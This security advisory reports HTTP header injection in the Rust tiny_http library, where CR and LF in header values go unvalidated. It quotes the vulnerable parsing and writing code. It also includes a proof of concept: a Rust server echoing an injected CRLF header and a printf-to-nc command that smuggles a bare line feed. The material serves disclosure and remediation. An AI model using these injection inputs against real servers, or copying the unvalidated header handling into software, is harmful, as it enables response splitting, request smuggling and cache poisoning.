Share
## https://sploitus.com/exploit?id=PACKETSTORM:227163
# Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)
    
    **Assigned CVE ID:** CVE-2026-66753
    
    ## Summary
    
    tiny_http does not reject carriage return or line feed inside HTTP header values,
    in either direction.
    
    On the request side, `read_next_line` ends a header line only on CRLF, so a lone
    LF survives inside the parsed value and reaches the application. On the response
    side, `Header::from_bytes` validates only that the bytes are ASCII, and the
    response writer emits values verbatim, so a value containing CRLF splits the
    response.
    
    Applications that reflect a request header value into a response header, or that
    re-serialise request headers onto another connection, therefore inherit an
    injection primitive with no indication that anything is wrong.
    
    ## Affected versions
    
    Repo URL: https://github.com/tiny-http/tiny-http
    
    | | |
    |---|---|
    | Affected | all released versions up to and including 0.12.0 (2022-10-06), the current release |
    | Verified | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
    | Fixed in | no fixed version at time of writing |
    
    This is distinct from RUSTSEC-2020-0031 / CVE-2020-35884, which covered
    `Transfer-Encoding` parsing and was fixed in 0.6.3 and 0.8.0. The behaviour
    described here is present both before and after that fix.
    
    ## Severity
    
    CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific
    case of CWE-93 (CRLF Injection).
    
    CVSS 4.0 base score 6.3 (Medium)
    `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
    
    ## Threat model
    
    A remote, unauthenticated client sending raw HTTP to any tiny_http server. No
    credentials or user interaction.
    
    Two consumer shapes turn this into a vulnerability:
    
    Applications that copy a request header value into a response header. This is
    the reflection pattern behind CORS origin echo, `Location` headers built from
    request data, and cookie handling. A lone LF in the request value reaches the
    response, and if the application constructs the response value itself it can
    carry a full CRLF.
    
    Applications that re-serialise request headers onto another connection, such as
    a reverse proxy. The lone LF is written into the upstream request, and backends
    that treat a bare LF as a header line terminator read one request as two.
    RFC 9112 section 2.2 permits recipients to do this, so those backends are within
    spec. Go `net/http` and Python `http.server` were both measured to accept it.
    
    ## Root cause
    
    ### Request side
    
    `tiny_http-0.12.0/src/client.rs`, lines 80 to 102. The loop returns only when a
    LF is preceded by a CR. Any other byte, including a lone LF or a lone CR, is
    pushed into the line buffer at line 100:
    
    ```rust
     84          loop {
     85              let byte = self.next_header_source.by_ref().bytes().next();
    ...
     92              if byte == b'\n' && prev_byte_was_cr {
     93                  buf.pop(); // removing the '\r'
     94                  return AsciiString::from_ascii(buf)
     95                      .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
     96              }
     97  
     98              prev_byte_was_cr = byte == b'\r';
     99  
    100              buf.push(byte);
    101          }
    ```
    
    LF is 0x0A and CR is 0x0D, both valid ASCII, so `AsciiString::from_ascii` on
    line 94 accepts them.
    
    `tiny_http-0.12.0/src/common.rs`, lines 184 to 191, then only trims the value.
    `trim` removes leading and trailing whitespace but leaves interior bytes intact:
    
    ```rust
    184      fn from_str(input: &str) -> Result<Header, ()> {
    185          let mut elems = input.splitn(2, ':');
    186  
    187          let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
    188          let value = elems
    189              .next()
    190              .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
    191              .ok_or(())?;
    ```
    
    A CRLF pair cannot survive, since it terminates the line, but a lone LF, a lone
    CR, and sequences such as `\n\r` all can.
    
    ### Response side
    
    `tiny_http-0.12.0/src/common.rs`, lines 166 to 172, checks only for ASCII:
    
    ```rust
    166      pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
    ...
    171          let header = HeaderField::from_bytes(header).or(Err(()))?;
    172          let value = AsciiString::from_ascii(value).or(Err(()))?;
    ```
    
    `tiny_http-0.12.0/src/response.rs`, lines 99 to 104, writes the value with no
    escaping:
    
    ```rust
     99      for header in headers.iter() {
    100          writer.write_all(header.field.as_str().as_ref())?;
    101          write!(&mut writer, ": ")?;
    102          writer.write_all(header.value.as_str().as_ref())?;
    103          write!(&mut writer, "\r\n")?;
    104      }
    ```
    
    Note that `HeaderField::from_str` at line 226 does reject whitespace in a field
    name, but `HeaderField::from_bytes` on line 171 does not, so response header
    names are unchecked too.
    
    ## Proof of Concept
    
    Step 1. Start a server that prints a parsed request header value and echoes a
    value containing CRLF into a response header.
    
    ```rust
    use tiny_http::{Header, Response, Server};
    
    fn main() {
        let server = Server::http("127.0.0.1:8004").unwrap();
        for request in server.incoming_requests() {
            for h in request.headers() {
                if h.field.equiv("X-Test") {
                    println!("parsed X-Test value = {:?}", h.value.as_str());
                }
            }
            let evil = "a\r\nX-Injected: yes";
            let mut resp = Response::from_string("body");
            resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
            let _ = request.respond(resp);
        }
    }
    ```
    
    Step 2. Send a request whose `X-Test` value contains a bare LF. In the command
    below `\n` is a single line feed and `\r\n` is a CRLF. The distinction is the
    point of the test, so do not let an editor normalise it.
    
    ```sh
    printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
    ```
    
    Result on stdout. The LF is still inside the parsed value:
    
    ```
    parsed X-Test value = "aaa\nbbb"
    ```
    
    Result on the wire. The response header split into two:
    
    ```
    HTTP/1.1 200 OK
    Server: tiny-http (Rust)
    Content-Type: text/plain; charset=UTF-8
    X-Echo: a
    X-Injected: yes
    Content-Length: 4
    
    body
    ```
    
    ## Impact
    
    By itself tiny_http does not re-emit request headers, so the request-side
    behaviour is a latent primitive rather than a direct compromise. It becomes
    exploitable in any consumer that forwards or reflects header values, where it
    yields request smuggling against LF-tolerant backends or header injection in the
    response.
    
    The response-side behaviour is directly exploitable in any application that
    places attacker-influenced text into a header value: script injection in the
    origin's context, cache poisoning, session fixation through an injected
    `Set-Cookie`, and overriding security headers.
    
    For comparison, the `http` crate rejects CR and LF in `HeaderValue::from_str`,
    which is why stacks built on it do not expose either behaviour.
    
    ## Remediation
    
    Reject control characters at both boundaries.
    
    In `read_next_line` (`src/client.rs` line 80), treat a bare CR or a bare LF in a
    header line as a protocol error and return 400, rather than folding it into the
    value. Alternatively reject them in `Header::from_str` (`src/common.rs` line
    184) after the split.
    
    In `Header::from_bytes` (`src/common.rs` line 166), reject values containing
    0x0D, 0x0A or 0x00, and reject field names containing anything outside the
    RFC 9110 token set. Returning `Err` there is already handled by callers, since
    the signature is fallible.